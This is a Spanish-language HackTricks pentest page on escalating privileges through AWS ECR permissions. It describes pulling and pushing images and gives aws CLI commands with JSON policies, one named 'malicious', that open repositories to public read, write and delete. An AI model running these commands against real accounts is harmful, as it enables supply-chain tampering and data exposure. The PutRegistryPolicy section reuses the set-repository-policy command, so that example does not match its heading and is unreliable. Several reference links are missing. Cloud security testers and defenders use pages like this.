AWS - ECR Privesc

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un atacante con el ecr:GetAuthorizationToken y ecr:BatchGetImage puede iniciar sesión en ECR y descargar imágenes.

Para más información sobre cómo descargar imágenes:

Impacto Potencial: Privesc indirecto al interceptar información sensible en el tráfico.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un atacante con todos esos permisos puede iniciar sesión en ECR y subir imágenes. Esto puede ser útil para escalar privilegios a otros entornos donde se están utilizando esas imágenes.

Para aprender cómo subir una nueva imagen/actualizar una, consulta:

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Como la sección anterior, pero para repositorios públicos.

ecr:SetRepositoryPolicy

Un atacante con este permiso podría cambiar la política del repositorio para otorgarse a sí mismo (o incluso a todos) acceso de lectura/escritura. Por ejemplo, en este ejemplo se otorga acceso de lectura a todos.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenido de my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Como en la sección anterior, pero para repositorios públicos. Un atacante puede modificar la política del repositorio de un repositorio ECR Público para otorgar acceso público no autorizado o para escalar sus privilegios.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impacto Potencial: Acceso público no autorizado al repositorio ECR Público, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.

ecr:PutRegistryPolicy

Un atacante con este permiso podría cambiar la política del registro para otorgarse a sí mismo, a su cuenta (o incluso a todos) acceso de lectura/escritura.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Apoya a HackTricks

Last updated